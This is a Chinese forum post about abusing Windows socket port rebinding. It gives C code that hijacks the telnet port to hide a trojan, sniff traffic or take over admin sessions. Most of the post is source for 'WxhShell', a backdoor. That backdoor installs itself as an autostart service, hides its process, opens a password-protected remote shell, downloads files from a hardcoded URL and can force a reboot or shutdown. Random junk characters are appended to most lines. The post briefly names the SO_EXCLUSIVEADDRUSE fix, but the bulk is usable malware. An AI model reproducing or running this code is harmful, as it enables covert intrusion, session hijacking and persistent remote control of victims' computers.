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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0;J#".(KQ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Wnf3[fV6P  
gC/~@Z8W]  
  saddr.sin_family = AF_INET; S2APqRg*  
TK! D=M  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); uGo tXb  
C4,;l^?=%  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); NI<;Lm  
&<Iyb}tA?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 `qXCY^BH2  
8?yRa{'"  
  这意味着什么?意味着可以进行如下的攻击: WSi`KNX  
Bm e_#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?v5OUmFM  
OCX>LK!K  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) YZ0y_it)  
\Ei(HmEU  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 bY@ S[  
4hQ.RO  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  JkfVsmc<{h  
# .j[iN :+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 JXhHitUD  
(7zdbJX  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 B)L=)N  
31cC*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 F ]qX}  
NT1"?Thx|  
  #include isF jJPe  
  #include *X%dg$VcV  
  #include bjq+x:>  
  #include    _x'?igy  
  DWORD WINAPI ClientThread(LPVOID lpParam);   U@'F9UB`  
  int main() 3oo Tn-`{  
  { i!nPiac  
  WORD wVersionRequested; Le?yzf  
  DWORD ret; +t8{aaV  
  WSADATA wsaData; pBR9)T\ n  
  BOOL val; Lh_Q@>k  
  SOCKADDR_IN saddr; B* hW  
  SOCKADDR_IN scaddr; ,ve$bSp  
  int err; Zqp<8M2  
  SOCKET s; . a@>1XO  
  SOCKET sc; 8T]x4JQ0  
  int caddsize; pD@2Mt0|]=  
  HANDLE mt; _yH=w'8.  
  DWORD tid;   +k?0C?/T;  
  wVersionRequested = MAKEWORD( 2, 2 ); {y\5 9  
  err = WSAStartup( wVersionRequested, &wsaData ); _=g;K+%fb  
  if ( err != 0 ) { #"PRsMUw  
  printf("error!WSAStartup failed!\n"); =QG0:z)K<v  
  return -1; l2.L h<G  
  } Vi:<W0:  
  saddr.sin_family = AF_INET; wOg?.6<Kxa  
   vR*TW   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 sM  _m  
B |pdqSI  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #q-7#pp  
  saddr.sin_port = htons(23); &pk&8_=f  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -~HyzX\cZB  
  { =X24C'!Mpe  
  printf("error!socket failed!\n"); cs\/6gSCo  
  return -1; .I1k+   
  } z>&|:VGG  
  val = TRUE; uK!G-1   
  //SO_REUSEADDR选项就是可以实现端口重绑定的  y5!fbmf  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ohW qp2~  
  { L2WH-XP=  
  printf("error!setsockopt failed!\n"); YT@D*\  
  return -1; m1\+~*i  
  } Dpf"H  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; lDU@Q(V#}<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .$s>b#mO  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Osj/={7g  
`9>1 w d  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9|K3xH  
  { s.{nxk.  
  ret=GetLastError(); 4\rwJD<  
  printf("error!bind failed!\n"); M#'j7EMu  
  return -1; MmL)CT  
  } m .':5  
  listen(s,2); YB?5s`vr9d  
  while(1) up^D9(y\  
  { 1 Vq)& N  
  caddsize = sizeof(scaddr); MEled:i  
  //接受连接请求 o 00(\ -eb  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3{/Y&/\"'^  
  if(sc!=INVALID_SOCKET) 6 h%%?  
  { 8~6H\.0Q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); h!4jl0 oX]  
  if(mt==NULL) s<hl>vY_'  
  { = VFPZ  
  printf("Thread Creat Failed!\n"); ~ MZEAY9  
  break; gd=gc<zYP  
  } a}#8n^2  
  } V!XT=Ou?6  
  CloseHandle(mt); fa:V8xa  
  } qHtonJc  
  closesocket(s); Q"VS;uh.v  
  WSACleanup(); ))xyaYIZkk  
  return 0; 1{0 L~  
  }   6|HxBC#4  
  DWORD WINAPI ClientThread(LPVOID lpParam) Oh]RIWL  
  { ~IhLjE  
  SOCKET ss = (SOCKET)lpParam; L&nqlH@+~  
  SOCKET sc; 9cMQ51k)E  
  unsigned char buf[4096]; hALg5.E{T  
  SOCKADDR_IN saddr; Zk .V   
  long num; +Dwq>3AH  
  DWORD val; +yO^,{8SE  
  DWORD ret; M&q3xo"w  
  //如果是隐藏端口应用的话,可以在此处加一些判断 W81 dLeTZg  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   R/BW$4/E  
  saddr.sin_family = AF_INET; J.;{`U=:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :@=;WB*0  
  saddr.sin_port = htons(23); ("!P_Q#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xoQ;fVNp  
  { KO''B or  
  printf("error!socket failed!\n"); J}M_Ka  
  return -1; -rXo}I,VI  
  } A6faRi703  
  val = 100; SAUfA5|e  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W}0cM9 g  
  { ^h^\kW'#  
  ret = GetLastError(); FQp@/H^  
  return -1; kE` V@F  
  } D&C83^m  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >x0)  
  { ^W)h=49PN  
  ret = GetLastError(); "u=U@1 ^  
  return -1; qbZY[Q+F  
  } :3h'Hr  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]\ DIJ>JZ  
  { M>m+VsJV  
  printf("error!socket connect failed!\n"); NBaXfWh  
  closesocket(sc); 7sglqf>  
  closesocket(ss); {S*:pG:+q  
  return -1; X`' @ G  
  } ;"T,3JQPn6  
  while(1) wrJ:jTh  
  { <JkmJ/X  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 PS\n0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8V f]K}d  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2n3g!M6~  
  num = recv(ss,buf,4096,0); [e.@Yx_}  
  if(num>0) "eOFp\vPr  
  send(sc,buf,num,0); G~$[(Fhk  
  else if(num==0) bayDdR4T  
  break; E!SxO~  
  num = recv(sc,buf,4096,0); g71|t7Q  
  if(num>0) \7elqX`.yY  
  send(ss,buf,num,0); fk!P#  
  else if(num==0) g$a 5  
  break; '|~L9t  
  } L2P#5B!S  
  closesocket(ss); r{1xjAT  
  closesocket(sc); Sb,lY<=  
  return 0 ; b xFDB^  
  } 2J0N]`|)  
*$/!.e  
# qPWJ  
========================================================== V 'e _gH  
lAZn0EU  
下边附上一个代码,,WXhSHELL /GUbc   
:0o,pndU  
========================================================== SGK=WLGM8  
sY*iRq  
#include "stdafx.h" ]Ac&h aAP  
Pi&8!e<  
#include <stdio.h> GDBxciv  
#include <string.h> m:4Ec>?e  
#include <windows.h> c*:H6(u  
#include <winsock2.h> $Il:Yw_  
#include <winsvc.h> ek9Y9eJ"  
#include <urlmon.h> }p$@.+  
;VlA~tv  
#pragma comment (lib, "Ws2_32.lib") Sru}0M#M  
#pragma comment (lib, "urlmon.lib") W2-1oS~ma  
BH+@!H3 hf  
#define MAX_USER   100 // 最大客户端连接数 d4[mR~XXT  
#define BUF_SOCK   200 // sock buffer qQ=\R1l  
#define KEY_BUFF   255 // 输入 buffer +\@}IKWl-?  
V3] Z~@  
#define REBOOT     0   // 重启 U) B^R  
#define SHUTDOWN   1   // 关机 N{o3w.g  
PY{])z3N  
#define DEF_PORT   5000 // 监听端口 !b:;O +[  
cZd{K[fuK  
#define REG_LEN     16   // 注册表键长度 W]l&mr  
#define SVC_LEN     80   // NT服务名长度 z&@O\>Q  
D @bnm s  
// 从dll定义API i *9Bu;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i{.%4tA4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Qe,aIh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ER4j=O#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $<QOMfY>  
fAHf}j  
// wxhshell配置信息 Cg4l*"_  
struct WSCFG { hantGw |  
  int ws_port;         // 监听端口 @GrQ /F7  
  char ws_passstr[REG_LEN]; // 口令 H1^m>4ll9  
  int ws_autoins;       // 安装标记, 1=yes 0=no nJ{vO{N  
  char ws_regname[REG_LEN]; // 注册表键名 ehe;<A  
  char ws_svcname[REG_LEN]; // 服务名 #eKg!]4-R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?r"QJa>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6Rcl HU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BGO!c[-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Jg:%|g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /rQ[Ik$|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \ =(r6X  
+* AdSzX  
}; G:k]tZ*`  
b?Zt3#  
// default Wxhshell configuration M,V~oc5  
struct WSCFG wscfg={DEF_PORT, Fu;\t 0  
    "xuhuanlingzhe", 7%g8&d  
    1, ~n<U8cm O  
    "Wxhshell", x;; =+)Gg  
    "Wxhshell", _t'S<jTI  
            "WxhShell Service", $wq[W,'#L  
    "Wrsky Windows CmdShell Service", Yfotq9.=+  
    "Please Input Your Password: ", gZ b +m  
  1, -<MA\iSP  
  "http://www.wrsky.com/wxhshell.exe", QgZ`~  
  "Wxhshell.exe" ljJi|+^$  
    }; Iq%f*Zm<  
FWu[{X;  
// 消息定义模块 y53f73Cg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :e|[gEA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :1/K$A)^{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; kafRuO~$  
char *msg_ws_ext="\n\rExit."; 40ZHDtIu<  
char *msg_ws_end="\n\rQuit."; QhqXd  
char *msg_ws_boot="\n\rReboot..."; =}h8Cl{H/  
char *msg_ws_poff="\n\rShutdown..."; 9+!1jTGSkf  
char *msg_ws_down="\n\rSave to "; |y T-N3H@  
AXmW7/Sj"  
char *msg_ws_err="\n\rErr!"; C % d  
char *msg_ws_ok="\n\rOK!"; d \[cFe1d  
H,I k&{@j  
char ExeFile[MAX_PATH]; czH`a=mjH  
int nUser = 0; rQ+2 -|#  
HANDLE handles[MAX_USER]; Nd] w I|>  
int OsIsNt; }/cMG/%  
k_$9cVA  
SERVICE_STATUS       serviceStatus; O wJZ?j& )  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f5p:o}U*  
wE*jN~  
// 函数声明 gs?=yNL  
int Install(void); G5K_e:i  
int Uninstall(void); %n7mN])  
int DownloadFile(char *sURL, SOCKET wsh); )08mG_&atL  
int Boot(int flag); sb^%eUU])  
void HideProc(void); N%:)MT,&g  
int GetOsVer(void); U! xOJ  
int Wxhshell(SOCKET wsl); @2HNYW)  
void TalkWithClient(void *cs); Ta 0Ln  
int CmdShell(SOCKET sock); 4PsJs<u  
int StartFromService(void); RXZ}aX[h  
int StartWxhshell(LPSTR lpCmdLine); wy)I6`v  
?oKY"C8/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P*M$^p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nm3/-Q},  
xdqiogue  
// 数据结构和表定义 n@"h^-  
SERVICE_TABLE_ENTRY DispatchTable[] = ?~g X7{>  
{ 'i5V6yB  
{wscfg.ws_svcname, NTServiceMain}, #4Z]/D2G  
{NULL, NULL} !~Am1\02  
}; qwz_.=5E6  
_t+.I9kQ  
// 自我安装 "h>B`S  
int Install(void) O F|3y~z  
{ =5PNH2  
  char svExeFile[MAX_PATH]; L(Ffa(i  
  HKEY key; k%[pZ 5.!  
  strcpy(svExeFile,ExeFile); |` +G7?)Y  
7G^`'oZ  
// 如果是win9x系统,修改注册表设为自启动 c(tX761qz  
if(!OsIsNt) { xbeVq P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l[)ZEEP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5qx,b&^w  
  RegCloseKey(key); AnUOv 2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,*Vt53@E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I,pI2  
  RegCloseKey(key); *;]j#0  
  return 0;  b}eBy  
    } ?mjQN|D  
  } ^/k`URQ  
} :vqfWK6mv  
else { q_sQC5:s  
9)Jc'd|  
// 如果是NT以上系统,安装为系统服务 HS% P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ML|O2e  
if (schSCManager!=0) [kjmEMF9i  
{ ^9g+\W  
  SC_HANDLE schService = CreateService .@(+.G  
  ( sdWu6?B_  
  schSCManager, :mpR}.^hv  
  wscfg.ws_svcname, [nBdq"K  
  wscfg.ws_svcdisp, !x, ;&  
  SERVICE_ALL_ACCESS, v;r!rZX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tCw.wDq3=  
  SERVICE_AUTO_START, \vU1*:3  
  SERVICE_ERROR_NORMAL, G31??L:<  
  svExeFile, :())%Xu3  
  NULL, PN$vBFjm  
  NULL, h)vRvfcmY  
  NULL, m3La;%aA0  
  NULL, T==(Pw7R7  
  NULL rTR4j>Ua~  
  ); Ai 9UB=[R  
  if (schService!=0) [^U#ic>cT  
  { %kcyE<c  
  CloseServiceHandle(schService); D)u 9Y  
  CloseServiceHandle(schSCManager); >*5+{~k~4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RH+'"f  
  strcat(svExeFile,wscfg.ws_svcname); b.<>CG'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H,F/u&O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ) ag8]   
  RegCloseKey(key); iyRB}[y  
  return 0; .Y?/J,Ch  
    } 6@2 S*\&  
  } D~< 3  
  CloseServiceHandle(schSCManager); d_0r  
} :tv:46+s=  
} G O=&  
ikSm;.  
return 1; 2rr}5i)r|  
} {APsi7HYBr  
m _0D^e7#  
// 自我卸载 7d7"^M  
int Uninstall(void) 1b6o x6  
{ nmLn]U=  
  HKEY key; 5K~kzR L$r  
|Bv?! sjf  
if(!OsIsNt) { m}x&]">9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { | CC(`<\R  
  RegDeleteValue(key,wscfg.ws_regname); }P5zf$  
  RegCloseKey(key); _>G=v!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w_gPX0N}3n  
  RegDeleteValue(key,wscfg.ws_regname); }WN0L?h.E  
  RegCloseKey(key); i&r56m<  
  return 0; 3E!#?N|v  
  } GYx_9"J\5  
} 7*7Z&1*3  
} j:yQP# U  
else { rt7Ma2tK  
2 us-s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Qo4+=^(  
if (schSCManager!=0) q;))3aQe  
{ z)Y<@2V*C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &IQp&  
  if (schService!=0) pP4i0mO{Dv  
  { N@M(Iw  
  if(DeleteService(schService)!=0) { sGf\!w  
  CloseServiceHandle(schService); JY\8^}'9  
  CloseServiceHandle(schSCManager); P(_wT:8C?  
  return 0; :J3ZTyjb  
  } x4PH-f-7  
  CloseServiceHandle(schService); RaK fYLw  
  } Q9lw~"  
  CloseServiceHandle(schSCManager); %f{1u5+5  
} /\%K7\  
} Q]';1#J\  
H$^b.5K  
return 1; C] <K s  
} cT8`l!RD<  
@quNVx(y  
// 从指定url下载文件 'L*nC T;  
int DownloadFile(char *sURL, SOCKET wsh) O IF0X!  
{ &&0,;r, -)  
  HRESULT hr; |(gq:O  
char seps[]= "/"; t'uZho~^F  
char *token; 05(lh<C  
char *file; \#(cI  
char myURL[MAX_PATH]; E^.y$d~dS  
char myFILE[MAX_PATH]; G`9\v=0  
>IW0YIQy,  
strcpy(myURL,sURL); ;79X# hI  
  token=strtok(myURL,seps); Wgl7)Xk.)  
  while(token!=NULL) SR 9 Cl  
  { i$) `U]  
    file=token; q16RPqfT  
  token=strtok(NULL,seps); G>?hojvi  
  } FhgO5@BO  
x1m J&D  
GetCurrentDirectory(MAX_PATH,myFILE); 8&6h()  
strcat(myFILE, "\\"); KzeTf?G  
strcat(myFILE, file); 360V  
  send(wsh,myFILE,strlen(myFILE),0); O a_2J#~$  
send(wsh,"...",3,0); >EFjyhVE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); / r#.BXP  
  if(hr==S_OK) sXzxEhp  
return 0; Z!TLWX "  
else `~Eo;'(+^  
return 1; Le9^,B@Pb  
`}1IQ.3  
} B2~KkMF  
r5qp[Ss3F  
// 系统电源模块 NymS8hxR  
int Boot(int flag) =J0X{Ovn4z  
{ x+zz:^yHYf  
  HANDLE hToken; esH>NH_  
  TOKEN_PRIVILEGES tkp; 'CT 8vt;  
<|~8Ezd  
  if(OsIsNt) { huu:z3{=J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5Sd+Cc  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qp*C%U  
    tkp.PrivilegeCount = 1; y4aSf2   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LL5n{#)N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /I{<]m$  
if(flag==REBOOT) { %eCbH`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /TTmMx*  
  return 0; M,Q(7z?#5  
} .__X- +^  
else { 5qkG~ YO-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?5e:w?&g@  
  return 0; 2f1WT g)  
} /,'D4s:Gg  
  } ^)&d7cSc  
  else { 75~>[JM  
if(flag==REBOOT) { ffK A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) x^kV;^ I  
  return 0; 5V&3m@d0aq  
} *TY?*H  
else { ANEW^\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =Mb!&qq  
  return 0; ]}2+yK  
} XVjs0/5b  
} *.wX9g9\  
B1>aR 7dsf  
return 1; &wsxH4  
} Q=lQy  
w,dDA2,  
// win9x进程隐藏模块 xJ>U_Gd  
void HideProc(void) rvZXK<@#+  
{ l5ww-#6Z  
Al="ss&2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x@3Ix, b'  
  if ( hKernel != NULL ) K'.aQ&2  
  { \Tf845  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @K; 4'b~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &*\wr} a!  
    FreeLibrary(hKernel); e&zZr]vs]l  
  } 4QODuyl2H  
!Mp.jE  
return; y@"6Dt|  
} qc_c&  
62~8>71;'  
// 获取操作系统版本 W'x/Kg,w-  
int GetOsVer(void) 6p%;:mDB  
{ mt$0p|B8  
  OSVERSIONINFO winfo; 5y;texsj[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -@{5 u d  
  GetVersionEx(&winfo); !E<y:$eH:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G9ku(2cq  
  return 1; BwwOaO@L  
  else SW|{)L,  
  return 0; 25%[nkO4  
} <U(wLG'XS  
iIFM 5CT  
// 客户端句柄模块 CAdqoCz|  
int Wxhshell(SOCKET wsl) %"|I` m  
{ s Wk92x _l  
  SOCKET wsh; b6sj/V8  
  struct sockaddr_in client; 7M*&^P\}es  
  DWORD myID; K[JbQ30  
5 s3!{zT{  
  while(nUser<MAX_USER) Q$!dPwDg  
{ 2mj?&p?  
  int nSize=sizeof(client); F)_zR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U_ELeW5@  
  if(wsh==INVALID_SOCKET) return 1; 555j@  
NO5\|.,Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?5(Cwy ?  
if(handles[nUser]==0) z+IBy+  
  closesocket(wsh); {%W'Zx  
else y/57 >.3  
  nUser++; 7 lc -  
  } g,Z8I;A^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); IzPnbnS}  
qyzmjV6J2  
  return 0; d>[=]  
} H/"$#8-/  
Q-<N)K$F(4  
// 关闭 socket xwK{}==U  
void CloseIt(SOCKET wsh) 3Au3>q,  
{ SPfz/ q{  
closesocket(wsh); / i[F  
nUser--; C;]}Ht:~I  
ExitThread(0); lezX-5Z  
} 7]se!k,  
r'!L}^n  
// 客户端请求句柄 h= tzG KI  
void TalkWithClient(void *cs) Z4 y9d?g%b  
{ _p0@1 s(U  
SVKjhZK  
  SOCKET wsh=(SOCKET)cs; bzYj`t?  
  char pwd[SVC_LEN]; LY Y3*d  
  char cmd[KEY_BUFF]; l*eJa38  
char chr[1]; 3%gn:.9N  
int i,j; DJ)Q,l*|N9  
;7,>2VTm  
  while (nUser < MAX_USER) { f@Oi$9CZn  
FI|jsO 3  
if(wscfg.ws_passstr) { cQM_kV??!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h`Ld%iN\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gEr@L  
  //ZeroMemory(pwd,KEY_BUFF); &c[.&L,w4  
      i=0; k# -u!G  
  while(i<SVC_LEN) { *Ae> ,LyE  
)LOV)z|}  
  // 设置超时 t!^ j0q  
  fd_set FdRead; "u29| OY  
  struct timeval TimeOut; :(7icHa  
  FD_ZERO(&FdRead); (%p@G5GU  
  FD_SET(wsh,&FdRead); f_\,H|zco)  
  TimeOut.tv_sec=8; w)xiiO[  
  TimeOut.tv_usec=0; L>xecep  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FFC"rG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~)ut"4  
VINb9W}G[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {\:"OcP #  
  pwd=chr[0]; |.]sL0; 4Z  
  if(chr[0]==0xd || chr[0]==0xa) { 3i\<#{  
  pwd=0; mO#62e4C  
  break; ,%Go.3i[  
  } M/<>'%sj  
  i++; Zw@=WW[Q`p  
    } H5MO3DJ  
2iX57-6Ub  
  // 如果是非法用户,关闭 socket +"P!es\q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EhWYFQ  
} pAdx 6  
Twq/Y07M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V.\12P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /O`<?aP%  
Mg pjC`  
while(1) { GN0s`'#"3%  
3.0t5F<B  
  ZeroMemory(cmd,KEY_BUFF); pUV4oyGV   
Uw!N;QsC  
      // 自动支持客户端 telnet标准   Pi/V3D) B  
  j=0; kH4xP3. i  
  while(j<KEY_BUFF) { W=-:<3XL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WR :I2-1  
  cmd[j]=chr[0]; Kg8n3pLAX  
  if(chr[0]==0xa || chr[0]==0xd) { d@b" ~r}  
  cmd[j]=0; k[ZkVwx  
  break; hiT&QJB` _  
  } 4CH/~b1 (  
  j++; .:wo ARW!  
    } W)~}o<a)[  
@1c[<3xJ T  
  // 下载文件 g.,_E4L  
  if(strstr(cmd,"http://")) { Gf<f#.5y ,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); eVRPjVzQ'Q  
  if(DownloadFile(cmd,wsh)) 9_Ws8nE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,S V34+(  
  else FTJvkcc?m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qT153dNA&  
  } EX"o9'  
  else { b f j]Q  
V'M#."Of/  
    switch(cmd[0]) { *!5X!\e_  
  *4 HogC  
  // 帮助 n.l7V<1  
  case '?': { G4<M@ET  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S4O'N x  
    break; fUKi@*^ZUa  
  } H$M{thW  
  // 安装 DnP "7}v  
  case 'i': { HSG7jC'_  
    if(Install()) wdMVy=SS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OAiSE`  
    else v$d^>+Y#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `z1E]{A  
    break; -]~KQvIH!  
    } *S= c0  
  // 卸载 -\I".8"YE  
  case 'r': { 2~B9 (|  
    if(Uninstall()) @9AK!I8f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]1)#Y   
    else )RCva3Ul  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =6O<1<[y  
    break; opIbs7k-  
    } w l#jSj%pd  
  // 显示 wxhshell 所在路径 {b,#l]v  
  case 'p': { P9f,zM-  
    char svExeFile[MAX_PATH]; E'^$~h$  
    strcpy(svExeFile,"\n\r"); 7=`_UqCV  
      strcat(svExeFile,ExeFile); Cj5=UUnO  
        send(wsh,svExeFile,strlen(svExeFile),0); @AfC$T  
    break; Qz4n%|  
    } EC8Fapy  
  // 重启 @Wl2E.)K;  
  case 'b': { =N^j:t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g;-6Hg'  
    if(Boot(REBOOT)) c2~oPUj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [kKg?I$D@B  
    else { H[[#h=r0f  
    closesocket(wsh); I7]qTS[vg  
    ExitThread(0); 2qDyb]9  
    } bH`r=@.:cu  
    break; Q&`if O  
    } @g%^H)T  
  // 关机 u;Rm/.  
  case 'd': { ZOzwO6(_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); / 0ra]}[(  
